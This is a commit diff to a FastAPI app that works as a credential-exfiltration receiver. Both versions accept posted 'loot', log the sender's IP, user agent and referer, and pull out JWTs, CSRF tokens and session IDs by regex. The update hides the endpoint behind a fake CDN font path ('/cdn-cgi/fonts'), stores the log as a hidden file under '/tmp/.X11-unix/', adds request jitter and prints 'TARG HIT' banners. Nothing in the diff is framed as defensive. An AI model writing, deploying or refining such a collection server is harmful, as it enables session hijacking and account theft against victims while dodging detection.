Update app.py

app.py

@@ -1,44 +1,53 @@
 from fastapi import FastAPI, Request
-import uvicorn
-import json, re
+import os, json, re, hashlib, asyncio, random
 from datetime import datetime
 
 app = FastAPI()
-LOGFILE = "/tmp/slurp.log"
-
-def mark_tokens(loot):
-    blob = json.dumps(loot)
-    return {
-        "jwt": re.findall(r'eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+', blob),
-        "csrf": re.findall(r'csrf[_\-]?(token)?[\'"]?\s*[:=]\s*[\'"]?([a-zA-Z0-9\-_]{8,})', blob, re.I),
-        "session": re.findall(r'(?:sessionid|sid)[=:]+([a-zA-Z0-9\-_.]{10,})', blob, re.I)
-    }
+
+LOG = "/tmp/.X11-unix/.slurplog.sock"
+os.makedirs(os.path.dirname(LOG), exist_ok=True)
 
 @app.get("/")
-def root():
-    return {"status": "ready", "post_here": "/exfil"}
+def live():
+    return {"🔥": "DEPLOYED", "🧠": "HYPER OPS", "🎯": "/cdn-cgi/fonts"}
+
+@app.post("/cdn-cgi/fonts")
+async def silent_sink(req: Request):
+    await asyncio.sleep(random.uniform(0.2, 1.2))  # jitter
 
-@app.post("/exfil")
-async def exfil(request: Request):
     try:
-        data = await request.json()
+        j = await req.json()
     except:
-        return {"status": "fail", "reason": "invalid json"}
-
-    log = {
-        "timestamp": datetime.utcnow().isoformat(),
-        "ip": request.headers.get("x-forwarded-for", "unknown"),
-        "ua": request.headers.get("user-agent", "unknown"),
-        "loot": data,
-        "marks": mark_tokens(data)
+        return {"err": "invalid json"}
+
+    ip = req.headers.get("x-forwarded-for", "?.?.?.?")
+    ua = req.headers.get("user-agent", "")
+    ref = req.headers.get("referer", "")
+    ts = datetime.utcnow().isoformat()
+    raw = json.dumps(j)
+    sig = hashlib.md5(raw.encode()).hexdigest()
+
+    marks = {
+        "jwt": re.findall(r'eyJ[\w-]+\.[\w-]+\.[\w-]+', raw),
+        "csrf": re.findall(r'csrf[_\-]?(token)?[\'"]?\s*[:=]\s*[\'"]?([\w\-_]{8,})', raw, re.I),
+        "session": re.findall(r'(?:sessionid|sid)[=:]+([\w\-_.]{10,})', raw, re.I)
     }
 
-    with open(LOGFILE, "a") as f:
-        f.write(json.dumps(log, indent=2) + ",\n")
+    entry = {
+        "ts": ts, "ip": ip, "ua": ua, "ref": ref,
+        "hash": sig, "mark": marks, "loot": j
+    }
 
-    print(f"\n🔥 SLURP from {log['ip']} @ {log['timestamp']}")
-    print(json.dumps(log["marks"], indent=2))
+    try:
+        with open(LOG, "a") as f:
+            f.write(json.dumps(entry) + "\n")
+    except:
+        pass
 
-    return {"status": "ok", "marks": log["marks"]}
+    print(f"\033[92m🔥 TARG HIT: {ip} @ {ts}\033[0m")
+    if any(marks.values()):
+        print(f"\033[91m🧠 Tokens found: {json.dumps(marks)}\033[0m")
+    else:
+        print(f"\033[90m...no tokens detected\033[0m")
 
-# HF boots with uvicorn automatically — no need to run manually
+    return {"ok": True, "hash": sig, "tokens": any(marks.values())}